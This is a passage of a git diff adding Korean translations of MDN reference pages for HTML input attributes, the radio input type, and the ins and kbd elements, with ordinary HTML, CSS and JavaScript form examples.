+ <p>If <code>any</code> is not explicity set, valid values for the <code>number</code>, date/time input types, and <code>range</code> input types are equal to the basis for stepping - the <code>{{anch("min")}}</code> value and increments of the step value, up to the <code>{{anch("max")}}</code> value, if specified. For example, if we have <code>&lt;input type="number" min="10" step="2"&gt;</code> any even integer, 10 or great, is valid. If omitted, <code>&lt;input type="number"&gt;</code>, any integer is valid, but floats, like 4.2, are not valid, as <code>step</code> defaults to 1. For 4.2 to be valid, <code>step</code> would have had to be set to <code>any</code>, 0.1, 0.2, or any the min value would have had to be a number ending in .2, such as <code>&lt;input type="number" min="-5.2"&gt;</code></p>
+
+ <div class="note">
+ <p><strong>Note:</strong> When the data entered by the user doesn't adhere to the stepping configuration, the value is considered invalid in contraint validation and will match the :invalid pseudoclass</p>
+ </div>
+ </div>
+
+ <p>The default stepping value for <code>number</code> inputs is 1, allowing only integers to be entered, <em>unless</em> the stepping base is not an integer. The default stepping value for <code>time</code> is 1 second, with 900 being equal to 15 minutes.</p>
+
+ <p>See {{anch("Client-side validation")}} for more information.</p>
+ </dd>
+ <dt id="htmlattrdeftype">{{htmlattrdef("tabindex")}}</dt>
+ <dd>
+ <p>Global attribute valid for all elements, including all the input types, an integer attribute indicating if the element can take input focus (is focusable), if it should participate to sequential keyboard navigation. As all input types except for input of type hidden are focusable, this attribute should not be used on form controls, because doing so would require the management of the focus order for all elements within the document with the risk of harming usability and accessibility if done incorrectly.</p>
+ </dd>
+ <dt id="htmlattrdefformenctype">{{htmlattrdef('title')}}</dt>
+ <dd>
+ <p>Global attribute valid for all elements, including all input types, containing a text representing advisory information related to the element it belongs to. Such information can typically, but not necessarily, be presented to the user as a tooltip. The title should NOT be used as the primary explanation of the purpose of the form control. Instead, use the {{htmlelement('label')}} element with a <code>for</code> attribute set to the form control's {{htmlattrdef('id')}} attribute. See {{anch("Labels")}} below.</p>
+ </dd>
+ <dt id="htmlattrdeftype">{{htmlattrdef("type")}}</dt>
+ <dd>
+ <p>A string specifying the type of control to render. For example, to create a checkbox, a value of <code>checkbox</code> is used. If omitted (or an unknown value is specified), the input type <code>text</code> is used, creating a plaintext input field.</p>
+
+ <p>Permitted values are listed in {{anch("&lt;input&gt; types")}} above.</p>
+ </dd>
+ <dt id="htmlattrdefvalue">{{htmlattrdef("value")}}</dt>
+ <dd>
+ <p>The input control's value. When specified in the HTML, this is the initial value, and from then on it can be altered or retrieved at any time using JavaScript to access the respective {{domxref("HTMLInputElement")}} object's <code>value</code> property. The <code>value</code> attribute is always optional, though should be considered mandatory for <code>checkbox</code>, <code>radio</code>, and <code>hidden</code>.</p>
+ </dd>
+ <dt id="htmlattrdefwidth">{{htmlattrdef("width")}}</dt>
+ <dd>
+ <p>Valid for the <code>image</code> input button only, the <code>width</code> is the width of the image file to display to represent the graphical submit button. See the {{HTMLElement("input/image", "image")}} input type.</p>
+ </dd>
+</dl>
+
+<h3 id="Non-standard_attributes">Non-standard attributes</h3>
+
+<p>The following non-standard attributes are also available on some browsers. As a general rule, you should avoid using them unless it can't be helped.</p>
+
+<table class="standard-table">
+ <thead>
+ <tr>
+ <th scope="col">Attribute</th>
+ <th scope="col">Description</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <td><code>{{anch("autocorrect")}}</code></td>
+ <td>A string indicating whether or not autocorrect is <code>on</code> or <code>off</code>. <strong>Safari only.</strong></td>
+ </tr>
+ <tr>
+ <td><code>{{anch("incremental")}}</code></td>
+ <td>Whether or not to send repeated {{event("search")}} events to allow updating live search results while the user is still editing the value of the field. <strong>WebKit and Blink only (Safari, Chrome, Opera, etc.).</strong></td>
+ </tr>
+ <tr>
+ <td><code>{{anch("mozactionhint")}}</code></td>
+ <td>A string indicating the type of action that will be taken when the user presses the <kbd>Enter</kbd> or <kbd>Return</kbd> key while editing the field; this is used to determine an appropriate label for that key on a virtual keyboard. <strong>Firefox for Android only.</strong></td>
+ </tr>
+ <tr>
+ <td><code>{{anch("orient")}}</code></td>
+ <td>Sets the orientation of the range slider. <strong>Firefox only.</strong></td>
+ </tr>
+ <tr>
+ <td><code>{{anch("results")}}</code></td>
+ <td>The maximum number of items that should be displayed in the drop-down list of previous search queries. <strong>Safari only.</strong></td>
+ </tr>
+ <tr>
+ <td><code>{{anch("webkitdirectory")}}</code></td>
+ <td>A Boolean indicating whether or not to only allow the user to choose a directory (or directories, if <code>{{anch("multiple")}}</code> is also present)</td>
+ </tr>
+ </tbody>
+</table>
+
+<dl>
+ <dt>{{htmlattrdef("autocorrect")}} {{non-standard_inline}}</dt>
+ <dd>{{page("/en-US/docs/Web/HTML/Element/input/text", "autocorrect-include")}}</dd>
+ <dt>{{htmlattrdef("incremental")}} {{non-standard_inline}}</dt>
+ <dd>{{page("/en-US/docs/Web/HTML/Element/input/search", "incremental-include")}}</dd>
+ <dt>{{htmlattrdef("mozactionhint")}} {{non-standard_inline}}</dt>
+ <dd>{{page("/en-US/docs/Web/HTML/Element/input/text", "mozactionhint-include")}}</dd>
+ <dt>{{htmlattrdef("orient")}} {{non-standard_inline}}</dt>
+ <dd>{{page("/en-US/docs/Web/HTML/Element/input/range", "orient-include")}}</dd>
+ <dt>{{htmlattrdef("results")}} {{non-standard_inline}}</dt>
+ <dd>{{page("/en-US/docs/Web/HTML/Element/input/search", "results-include")}}</dd>
+ <dt>{{htmlattrdef("webkitdirectory")}} {{non-standard_inline}}</dt>
+ <dd>{{page("/en-US/docs/Web/HTML/Element/input/file", "webkitdirectory-include")}}</dd>
+</dl>
+
+<h2 id="예제">예제</h2>
+
+<h3 id="A_simple_input_box">A simple input box</h3>
+
+<pre class="brush: html notranslate">&lt;!-- A basic input --&gt;
+&lt;input type="text" name="input" value="Type here"&gt;
+</pre>
+
+<p><input></p>
+
+<h3 id="A_common_use-case_scenario">A common use-case scenario</h3>
+
+<pre class="brush: html notranslate">&lt;!-- A common form that includes input tags --&gt;
+&lt;form action="getform.php" method="get"&gt;
+ &lt;label&gt;First name: &lt;input type="text" name="first_name" /&gt;&lt;/label&gt;&lt;br /&gt;
+ &lt;label&gt;Last name: &lt;input type="text" name="last_name" /&gt;&lt;/label&gt;&lt;br /&gt;
+ &lt;label&gt;E-mail: &lt;input type="email" name="user_email" /&gt;&lt;/label&gt;&lt;br /&gt;
+ &lt;input type="submit" value="Submit" /&gt;
+&lt;/form&gt;
+</pre>
+
+<h2 id="Specifications" name="Specifications">명세</h2>
+
+<table class="standard-table">
+ <thead>
+ <tr>
+ <th scope="col">명세</th>
+ <th scope="col">상태</th>
+ <th scope="col">주석</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <td>{{SpecName('HTML WHATWG', 'the-input-element.html#the-input-element', '&lt;input&gt;')}}</td>
+ <td>{{Spec2('HTML WHATWG')}}</td>
+ <td></td>
+ </tr>
+ <tr>
+ <td>{{SpecName('HTML5 W3C', 'forms.html#the-input-element', '&lt;input&gt;')}}</td>
+ <td>{{Spec2('HTML5 W3C')}}</td>
+ <td></td>
+ </tr>
+ <tr>
+ <td>{{SpecName('HTML4.01', 'interact/forms.html#h-17.4', '&lt;form&gt;')}}</td>
+ <td>{{Spec2('HTML4.01')}}</td>
+ <td></td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+<p>{{Compat("html.elements.input")}}</p>
diff --git a/files/ko/web/html/element/input/radio/index.html b/files/ko/web/html/element/input/radio/index.html
new file mode 100644
index 0000000000..827c5005d5
--- /dev/null
+++ b/files/ko/web/html/element/input/radio/index.html
@@ -0,0 +1,367 @@
+---
+title: <input type="radio">
+slug: Web/HTML/Element/Input/radio
+tags:
+ - Element
+ - HTML
+ - HTML Input Types
+ - HTML forms
+ - HTML input
+ - Input
+ - Input Types
+ - Reference
+ - 라디오
+ - 라디오 그룹
+ - 라디오 버튼
+translation_of: Web/HTML/Element/input/radio
+---
+<div>{{HTMLRef}}</div>
+
+<p><span class="seoSummary"><strong><code>radio</code></strong> 유형의 {{htmlelement("input")}} 요소는 보통 서로 관련된 옵션을 나타내는 라디오 버튼 콜렉션, <strong>라디오 그룹</strong>에 사용합니다.</span> 임의의 그룹 내에서는 동시에 하나의 라디오 버튼만 선택할 수 있습니다. 라디오 버튼은 흔히 원형으로 그려지며, 선택한 경우 속을 채우거나 강조 표시를 합니다.</p>
+
+<div>{{EmbedInteractiveExample("pages/tabbed/input-radio.html", "tabbed-standard")}}</div>
+
+
+
+<div id="Basic_example">
+<p>오래된 라디오의 버튼과 비슷한 형태와 동작 방식을 가졌기에 라디오 버튼이라고 부릅니다.</p>
+
+<p><img alt="Shows what radio buttons looked like in the olden days." src="https://mdn.mozillademos.org/files/15610/old-radio.jpg" style="height: 400px; width: 600px;" title="Photo of an old-time radio"></p>
+</div>
+
+<div class="note">
+<p><strong>참고</strong>: <a href="/ko/docs/Web/HTML/Element/input/checkbox">체크박스</a>도 라디오 버튼과 비슷하지만 중요한 차이점이 하나 있습니다. 라디오 버튼은 여러 값에서 단 하나만 선택할 때 사용하지만, 체크박스는 각각의 값을 켜고 끌 수 있다는 점입니다. 다수의 컨트롤이 존재할 때 라디오 버튼은 전체에서 하나를 허용하고, 체크박스는 여러 개 선택을 허용합니다.</p>
+</div>
+
+<table class="properties">
+ <tbody>
+ <tr>
+ <td><strong>{{anch("값")}}</strong></td>
+ <td>라디오 버튼의 값을 나타내는 {{domxref("DOMString")}}.</td>
+ </tr>
+ <tr>
+ <td><strong>이벤트</strong></td>
+ <td>{{event("change")}}, {{event("input")}}</td>
+ </tr>
+ <tr>
+ <td><strong>지원하는 공통 특성</strong></td>
+ <td><code>checked</code>, <code>value</code></td>
+ </tr>
+ <tr>
+ <td><strong>IDL 특성</strong></td>
+ <td><code>{{anch("checked")}}</code>, <code>{{anch("value")}}</code></td>
+ </tr>
+ <tr>
+ <td><strong>메서드</strong></td>
+ <td>{{domxref("HTMLInputElement.select", "select()")}}</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="값">값</h2>
+
+<p>The <code>value</code> attribute is a {{domxref("DOMString")}} containing the radio button's value. The value is never shown to the user by their {{Glossary("user agent")}}. Instead, it's used to identify which radio button in a group is selected.</p>
+
+<h3 id="라디오_그룹_정의하기">라디오 그룹 정의하기</h3>
+
+<p>A radio group is defined by giving each of radio buttons in the group the same {{htmlattrxref("name", "input")}}. Once a radio group is established, selecting any radio button in that group automatically deselects any currently-selected radio button in the same group.</p>
+
+<p>You can have as many radio groups on a page as you like, as long as each has its own unique <code>name</code>.</p>
+
+<p>For example, if your form needs to ask the user for their preferred contact method, you might create three radio buttons, each with the <code>name</code> property set to <code>contact</code> but one with the {{htmlattrxref("value", "input")}} <code>email</code>, one with the value <code>phone</code>, and one with the value <code>mail</code>. The user never sees the <code>value</code> or the <code>name</code> (unless you expressly add code to display it).</p>
+
+<p>The resulting HTML looks like this:</p>
+
+<pre class="brush: html">&lt;form&gt;
+ &lt;p&gt;Please select your preferred contact method:&lt;/p&gt;
+ &lt;div&gt;
+ &lt;input type="radio" id="contactChoice1"
+ name="contact" value="email"&gt;
+ &lt;label for="contactChoice1"&gt;Email&lt;/label&gt;
+
+ &lt;input type="radio" id="contactChoice2"
+ name="contact" value="phone"&gt;
+ &lt;label for="contactChoice2"&gt;Phone&lt;/label&gt;
+
+ &lt;input type="radio" id="contactChoice3"
+ name="contact" value="mail"&gt;
+ &lt;label for="contactChoice3"&gt;Mail&lt;/label&gt;
+ &lt;/div&gt;
+ &lt;div&gt;
+ &lt;button type="submit"&gt;Submit&lt;/button&gt;
+ &lt;/div&gt;
+&lt;/form&gt;</pre>
+
+<p>Here you see the three radio buttons, each with the <code>name</code> set to <code>contact</code> and each with a unique <code>value</code> that uniquely identifies that individual radio button within the group. They each also have a unique {{domxref("Element.id", "id")}}, which is used by the {{HTMLElement("label")}} element's {{htmlattrxref("for", "label")}} attribute to associate the labels with the radio buttons.</p>
+
+<p>You can try out this example here:</p>
+
+<p>{{EmbedLiveSample('Defining_a_radio_group', 600, 130)}}</p>
+
+<h3 id="라디오_그룹의_데이터_표현">라디오 그룹의 데이터 표현</h3>
+
+<p>When the above form is submitted with a radio button selected, the form's data includes an entry in the form <code>contact=<var>value</var></code>. For example, if the user clicks on the "Phone" radio button then submits the form, the form's data will include the line <code>contact=phone</code>.</p>
+
+<p>If you omit the <code>value</code> attribute in the HTML, the submitted form data assigns the value <code>on</code> to the group. In this scenario, if the user clicked on the "Phone" option and submitted the form, the resulting form data would be <code>contact=on</code>, which isn't helpful. So don't forget to set your <code>value</code> attributes!</p>
+
+<div class="note">
+<p><strong>Note</strong>: If no radio button is selected when the form is submitted, the radio group is not included in the submitted form data at all, since there is no value to report.</p>
+</div>
+
+<p>It's fairly uncommon to actually want to allow the form to be submitted without any of the radio buttons in a group selected, so it is usually wise to have one default to the <code>checked</code> state. See {{anch("Selecting a radio button by default")}} below.</p>
+
+<p>Let's add a little bit of code to our example so we can examine the data generated by this form. The HTML is revised to add a {{HTMLElement("pre")}} block to output the form data into:</p>
+
+<pre class="brush: html">&lt;form&gt;
+ &lt;p&gt;Please select your preferred contact method:&lt;/p&gt;
+ &lt;div&gt;
+ &lt;input type="radio" id="contactChoice1"
+ name="contact" value="email"&gt;
+ &lt;label for="contactChoice1"&gt;Email&lt;/label&gt;
+ &lt;input type="radio" id="contactChoice2"
+ name="contact" value="phone"&gt;
+ &lt;label for="contactChoice2"&gt;Phone&lt;/label&gt;
+ &lt;input type="radio" id="contactChoice3"
+ name="contact" value="mail"&gt;
+ &lt;label for="contactChoice3"&gt;Mail&lt;/label&gt;
+ &lt;/div&gt;
+ &lt;div&gt;
+ &lt;button type="submit"&gt;Submit&lt;/button&gt;
+ &lt;/div&gt;
+&lt;/form&gt;
+&lt;pre id="log"&gt;
+&lt;/pre&gt;
+</pre>
+
+<p>Then we add some <a href="/en-US/docs/Web/JavaScript">JavaScript</a> to set up an event listener on the {{domxref("HTMLFormElement/submit_event", "submit")}} event, which is sent when the user clicks the "Submit" button:</p>
+
+<pre class="brush: js">var form = document.querySelector("form");
+var log = document.querySelector("#log");
+
+form.addEventListener("submit", function(event) {
+ var data = new FormData(form);
+ var output = "";
+ for (const entry of data) {
+ output = output + entry[0] + "=" + entry[1] + "\r";
+ };
+ log.innerText = output;
+ event.preventDefault();
+}, false);</pre>
+
+<p>Try this example out and see how there's never more than one result for the <code>contact</code> group.</p>
+
+<p>{{EmbedLiveSample("Data_representation_of_a_radio_group", 600, 130)}}</p>
+
+<h2 id="추가_특성">추가 특성</h2>
+
+<p>In addition to the common attributes shared by all {{HTMLElement("input")}} elements, <code>radio</code> inputs support the following attributes:</p>
+
+<table class="standard-table">
+ <thead>
+ <tr>
+ <th scope="col">Attribute</th>
+ <th scope="col">Description</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <td><code>{{anch("checked")}}</code></td>
+ <td>A Boolean indicating whether or not this radio button is the currently-selected item in the group</td>
+ </tr>
+ <tr>
+ <td><code>{{anch("value")}}</code></td>
+ <td>The string to use as the value of the radio when submitting the form, if the radio is currently toggled on</td>
+ </tr>
+ </tbody>
+</table>
+
+<h3 id="htmlattrdefchecked">{{htmlattrdef("checked")}}</h3>
+
+<p>A Boolean attribute which, if present, indicates that this radio button is the currently selected one in the group.</p>
+
+<p>Unlike other browsers, Firefox by default <a href="https://stackoverflow.com/questions/5985839/bug-with-firefox-disabled-attribute-of-input-not-resetting-when-refreshing">persists the dynamic checked state</a> of an <code>&lt;input&gt;</code> across page loads. Use the {{htmlattrxref("autocomplete","input")}} attribute to control this feature.</p>
+
+<h3 id="htmlattrdefvalue">{{htmlattrdef("value")}}</h3>
+
+<p>The <code>value</code> attribute is one which all {{HTMLElement("input")}}s share; however, it serves a special purpose for inputs of type <code>radio</code>: when a form is submitted, only radio buttons which are currently checked are submitted to the server, and the reported value is the value of the <code>value</code> attribute. If the <code>value</code> is not otherwise specified, it is the string <code>on</code> by default. This is demonstrated in the section {{anch("Value")}} above.</p>
+
+<h2 id="라디오_입력_칸_사용하기">라디오 입력 칸 사용하기</h2>
+
+<p>We already covered the fundamentals of radio buttons above. Let's now look at the other common radio-button-related features and techniques you may need to know about.</p>
+
+<h3 id="기본_선택_항목_지정하기">기본 선택 항목 지정하기</h3>
+
+<p>To make a radio button selected by default, you simply include <code>checked</code> attribute, as shown in this revised version of the previous example:</p>
+
+<pre class="brush: html">&lt;form&gt;
+ &lt;p&gt;Please select your preferred contact method:&lt;/p&gt;
+ &lt;div&gt;
+ &lt;input type="radio" id="contactChoice1"
+ name="contact" value="email" checked&gt;
+ &lt;label for="contactChoice1"&gt;Email&lt;/label&gt;
+
+ &lt;input type="radio" id="contactChoice2"
+ name="contact" value="phone"&gt;
+ &lt;label for="contactChoice2"&gt;Phone&lt;/label&gt;
+
+ &lt;input type="radio" id="contactChoice3"
+ name="contact" value="mail"&gt;
+ &lt;label for="contactChoice3"&gt;Mail&lt;/label&gt;
+ &lt;/div&gt;
+ &lt;div&gt;
+ &lt;button type="submit"&gt;Submit&lt;/button&gt;
+ &lt;/div&gt;
+&lt;/form&gt;</pre>
+
+<p>{{EmbedLiveSample('기본_선택_항목_지정하기', 600, 130)}}</p>
+
+<p>In this case, the first radio button is now selected by default.</p>
+
+<div class="note">
+<p><strong>Note</strong>: If you put the <code>checked</code> attribute on more than one radio button, later instances will override earlier ones; that is, the last <code>checked</code> radio button will be the one that is selected. This is because only one radio button in a group can ever be selected at once, and the user agent automatically deselects others each time a new one is marked as checked.</p>
+</div>
+
+<h3 id="라디오_버튼의_클릭_범위_키우기">라디오 버튼의 클릭 범위 키우기</h3>
+
+<p>In the above examples, you may have noticed that you can select a radio button by clicking on its associated {{htmlelement("label")}} element, as well as on the radio button itself. This is a really useful feature of HTML form labels that makes it easier for users to click the option they want, especially on small-screen devices like smartphones.</p>
+
+<p>Beyond accessibility, this is another good reason to properly set up <code>&lt;label&gt;</code> elements on your forms.</p>
+
+<h2 id="유효성_검사">유효성 검사</h2>
+
+<p>Radio buttons don't participate in constraint validation; they have no real value to be constrained.</p>
+
+<h2 id="스타일링">스타일링</h2>
+
+<p>The following example shows a slightly more thorough version of the example we've seen throughout the article, with some additional styling, and with better semantics established through use of specialized elements. The HTML looks like this:</p>
+
+<pre class="brush: html">&lt;form&gt;
+ &lt;fieldset&gt;
+ &lt;legend&gt;Please select your preferred contact method:&lt;/legend&gt;
+ &lt;div&gt;
+ &lt;input type="radio" id="contactChoice1"
+ name="contact" value="email" checked&gt;
+ &lt;label for="contactChoice1"&gt;Email&lt;/label&gt;
+
+ &lt;input type="radio" id="contactChoice2"
+ name="contact" value="phone"&gt;
+ &lt;label for="contactChoice2"&gt;Phone&lt;/label&gt;
+
+ &lt;input type="radio" id="contactChoice3"
+ name="contact" value="mail"&gt;
+ &lt;label for="contactChoice3"&gt;Mail&lt;/label&gt;
+ &lt;/div&gt;
+ &lt;div&gt;
+ &lt;button type="submit"&gt;Submit&lt;/button&gt;
+ &lt;/div&gt;
+ &lt;/fieldset&gt;
+&lt;/form&gt;</pre>
+
+<p>There's not much new to note here except for the addition of {{htmlelement("fieldset")}} and {{htmlelement("legend")}} elements, which help to group the functionality nicely and in a semantic way.</p>
+
+<p>The CSS involved is a bit more significant:</p>
+
+<pre class="brush: css">html {
+ font-family: sans-serif;
+}
+
+div:first-of-type {
+ display: flex;
+ align-items: flex-start;
+ margin-bottom: 5px;
+}
+
+label {
+ margin-right: 15px;
+ line-height: 32px;
+}
+
+input {
+ -webkit-appearance: none;
+ -moz-appearance: none;
+ appearance: none;
+
+ border-radius: 50%;
+ width: 16px;
+ height: 16px;
+
+ border: 2px solid #999;
+ transition: 0.2s all linear;
+ margin-right: 5px;
+
+ position: relative;
+ top: 4px;
+}
+
+input:checked {
+ border: 6px solid black;
+}
+
+button,
+legend {
+ color: white;
+ background-color: black;
+ padding: 5px 10px;
+ border-radius: 0;
+ border: 0;
+ font-size: 14px;
+}
+
+button:hover,
+button:focus {
+ color: #999;
+}
+
+button:active {
+ background-color: white;
+ color: black;
+ outline: 1px solid black;
+}</pre>
+
+<p>Most notable here is the use of the {{cssxref("-moz-appearance")}} property (with prefixes needed to support some browsers). By default, radio buttons (and <a href="/en-US/docs/Web/HTML/Element/input/checkbox">checkboxes</a>) are styled with the operating system's native styles for those controls. By specifying <code>appearance: none</code>, you can remove the native styling altogether, and create your own styles for them. Here we've used a {{cssxref("border")}} along with {{cssxref("border-radius")}} and a {{cssxref("transition")}} to create a nice animating radio selection. Notice also how the {{cssxref(":checked")}} pseudo-class is used to specify the styles for the radio button's appearance when selected.</p>
+
+<div class="note">
+<p><strong>Compatibility note</strong>: If you wish to use the {{cssxref("appearance")}} property, you should test it very carefully. Although it is supported in most modern browsers, its implementation varies widely. In older browsers, even the keyword <code>none</code> does not have the same effect across different browsers, and some do not support it at all. The differences are smaller in the newest browsers.</p>
+</div>
+
+<p>{{EmbedLiveSample('Styling_radio_inputs', 600, 120)}}</p>
+
+<p>Notice that when clicking on a radio button, there's a nice, smooth fade out/in effect as the two buttons change state. In addition, the style and coloring of the legend and submit button are customized to have strong contrast. This might not be a look you'd want in a real web application, but it definitely shows off the possibilities.</p>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <thead>
+ <tr>
+ <th>Specification</th>
+ <th>Status</th>
+ <th></th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <td>{{SpecName('HTML WHATWG', 'forms.html#radio-button-state-(type=radio)', '&lt;input type="radio"&gt;')}}</td>
+ <td>{{Spec2('HTML WHATWG')}}</td>
+ <td></td>
+ </tr>
+ <tr>
+ <td>{{SpecName('HTML5 W3C', 'forms.html#radio-button-state-(type=radio)', '&lt;input type="radio"&gt;')}}</td>
+ <td>{{Spec2('HTML5 W3C')}}</td>
+ <td></td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("html.elements.input.input-radio")}}</p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li>{{HTMLElement("input")}} and the {{domxref("HTMLInputElement")}} interface that implements it.</li>
+ <li>{{domxref("RadioNodeList")}}: the interface that describes a list of radio buttons</li>
+ <li><a href="/en-US/docs/Learn/HTML/Forms/Property_compatibility_table_for_form_widgets">Compatibility of CSS properties</a></li>
+</ul>
diff --git a/files/ko/web/html/element/ins/index.html b/files/ko/web/html/element/ins/index.html
new file mode 100644
index 0000000000..669da42046
--- /dev/null
+++ b/files/ko/web/html/element/ins/index.html
@@ -0,0 +1,137 @@
+---
+title: <ins>
+slug: Web/HTML/Element/ins
+tags:
+ - Element
+ - HTML
+ - HTML edits
+ - Reference
+ - Web
+translation_of: Web/HTML/Element/ins
+---
+<div>{{HTMLRef}}</div>
+
+<p><span class="seoSummary"><strong>HTML <code>&lt;ins&gt;</code> 요소</strong>는 문서에 추가된 텍스트의 범위를 나타냅니다.</span> {{htmlelement("del")}} 요소를 사용하면 삭제된 텍스트의 범위를 나타낼 수 있습니다.</p>
+
+<div>{{EmbedInteractiveExample("pages/tabbed/ins.html", "tabbed-standard")}}</div>
+
+<p class="hidden">The source for this interactive example is stored in a GitHub repository. If you'd like to contribute to the interactive examples project, please clone <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples </a> and send us a pull request.</p>
+
+<table class="properties">
+ <tbody>
+ <tr>
+ <th scope="row"><a href="/ko/docs/Web/Guide/HTML/Content_categories">콘텐츠 카테고리</a></th>
+ <td><a href="/ko/docs/Web/Guide/HTML/Content_categories#플로우_콘텐츠">플로우 콘텐츠</a>, <a href="/ko/docs/Web/Guide/HTML/Content_categories#구문_콘텐츠">구문 콘텐츠</a>.</td>
+ </tr>
+ <tr>
+ <th scope="row">가능한 콘텐츠</th>
+ <td>투명.</td>
+ </tr>
+ <tr>
+ <th scope="row">태그 생략</th>
+ <td>{{no_tag_omission}}</td>
+ </tr>
+ <tr>
+ <th scope="row">가능한 부모 요소</th>
+ <td><a href="/ko/docs/Web/Guide/HTML/Content_categories#구문_콘텐츠">구문 콘텐츠</a>를 허용하는 모든 요소.</td>
+ </tr>
+ <tr>
+ <th scope="row">가능한 ARIA 역할</th>
+ <td>모두</td>
+ </tr>
+ <tr>
+ <th scope="row">DOM 인터페이스</th>
+ <td>{{domxref("HTMLModElement")}}</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="특성">특성</h2>
+
+<p><span style="line-height: 21px;">이 요소는 </span><a href="/ko/docs/Web/HTML/Global_attributes" style="line-height: 21px;" title="HTML/Global attributes">전역 특성</a><span style="line-height: 21px;">을 포함</span>합니다.</p>
+
+<dl>
+ <dt>{{htmlattrdef("cite")}}</dt>
+ <dd>회의록, 이슈 추적 시스템의 티켓 번호 등 변경점을 설명하는 리소스의 {{glossary("URI")}}.</dd>
+ <dt>{{htmlattrdef("datetime")}}</dt>
+ <dd>변경이 발생한 일시. 유효한 날짜 문자열이어야 하며, 시간을 지정할 경우 역시 유효해야 합니다. 유효하지 않은 값을 지정할 경우 일시를 지정하지 않은 것과 같습니다. 유효한 문자열의 종류는 <a href="/ko/docs/Web/HTML/Date_and_time_formats">HTML에서 사용하는 날짜와 시간 형식</a> 문서에서 확인할 수 있습니다.</dd>
+</dl>
+
+<h2 id="예제">예제</h2>
+
+<pre class="brush: html">&lt;ins&gt;This text has been inserted&lt;/ins&gt;</pre>
+
+<h3 id="결과">결과</h3>
+
+<p>{{EmbedLiveSample("예제")}}</p>
+
+<h2 id="Specifications" name="Specifications">접근성 고려사항</h2>
+
+<p>대부분의 스크린 리더는 기본값에서 <code>&lt;ins&gt;</code> 요소의 존재를 표현하지 않습니다. 그러나 CSS {{cssxref("content")}} 속성과 {{cssxref("::before")}}, {{cssxref("::after")}} 의사 요소를 사용하면 소리내어 읽도록 할 수 있습니다.</p>
+
+<pre class="brush: css">ins::before,
+ins::after {
+ clip-path: inset(100%);
+ clip: rect(1px, 1px, 1px, 1px);
+ height: 1px;
+ overflow: hidden;
+ position: absolute;
+ white-space: nowrap;
+ width: 1px;
+}
+
+ins::before {
+ content: " [추가 부분 시작] ";
+}
+
+ins::after {
+ content: " [추가 부분 끝] ";
+}</pre>
+
+<p>스크린 리더 사용자 일부는 지나치게 자세한 안내를 유발할 수 있는 콘텐츠의 표현을 의도적으로 꺼놓습니다. 그러므로 이 방식을 남용해선 안되며, 콘텐츠의 이해에 삽입 여부가 꼭 필요할 때만 사용해야 합니다.</p>
+
+<ul>
+ <li><a href="https://developer.paciellogroup.com/blog/2017/12/short-note-on-making-your-mark-more-accessible/">Short note on making your mark (more accessible) | The Paciello Group</a></li>
+ <li><a href="http://adrianroselli.com/2017/12/tweaking-text-level-styles.html">Tweaking Text Level Styles | Adrian Roselli</a></li>
+</ul>
+
+<h2 id="Specifications" name="Specifications">명세</h2>
+
+<table class="standard-table">
+ <thead>
+ <tr>
+ <th scope="col">명세</th>
+ <th scope="col">상태</th>
+ <th scope="col">주석</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <td>{{SpecName('HTML WHATWG', 'edits.html#the-ins-element', '&lt;ins&gt;')}}</td>
+ <td>{{Spec2('HTML WHATWG')}}</td>
+ <td></td>
+ </tr>
+ <tr>
+ <td>{{SpecName('HTML5 W3C', 'edits.html#the-ins-element', '&lt;ins&gt;')}}</td>
+ <td>{{Spec2('HTML5 W3C')}}</td>
+ <td></td>
+ </tr>
+ <tr>
+ <td>{{SpecName('HTML4.01', 'struct/text.html#h-9.4', '&lt;ins&gt;')}}</td>
+ <td>{{Spec2('HTML4.01')}}</td>
+ <td></td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("html.elements.ins")}}</p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li>문서에서 삭제된 부분을 나타내는 {{HTMLElement("del")}} 요소.</li>
+</ul>
diff --git a/files/ko/web/html/element/kbd/index.html b/files/ko/web/html/element/kbd/index.html
new file mode 100644
index 0000000000..55f724224e
--- /dev/null
+++ b/files/ko/web/html/element/kbd/index.html
@@ -0,0 +1,208 @@
+---
+title: '<kbd>: 키보드 입력 요소'
+slug: Web/HTML/Element/kbd
+tags:
+ - Element
+ - HTML
+ - HTML text-level semantics
+ - Reference
+ - Web
+translation_of: Web/HTML/Element/kbd
+---
+<div>{{HTMLRef}}</div>
+
+<p><span class="seoSummary"><strong>HTML <code>&lt;kbd&gt;</code> 요소</strong>는 키보드 입력, 음성 입력 등 임의의 장치를 사용한 사용자의 입력을 나타냅니다.</span> 관례에 따라 {{glossary("user agent", "사용자 에이전트")}}의 고정폭 글꼴로 표시하지만, HTML 표준은 그런 점을 강제하지 않습니다.</p>
+
+<div>{{EmbedInteractiveExample("pages/tabbed/kbd.html", "tabbed-shorter")}}</div>
+
+
+
+<table class="properties">
+ <tbody>
+ <tr>
+ <th scope="row">콘텐츠 카테고리</th>
+ <td><a href="/ko/docs/Web/Guide/HTML/Content_categories#플로우_콘텐츠">플로우 콘텐츠</a>, <a href="/ko/docs/Web/Guide/HTML/Content_categories#구문_콘텐츠">구문 콘텐츠</a>, 뚜렷한 콘텐츠.</td>
+ </tr>
+ <tr>
+ <th scope="row">가능한 콘텐츠</th>
+ <td><a href="/ko/docs/Web/Guide/HTML/Content_categories#구문_콘텐츠">구문 콘텐츠</a>.</td>
+ </tr>
+ <tr>
+ <th scope="row">태그 생략</th>
+ <td>{{no_tag_omission}}</td>
+ </tr>
+ <tr>
+ <th scope="row">가능한 부모 요소</th>
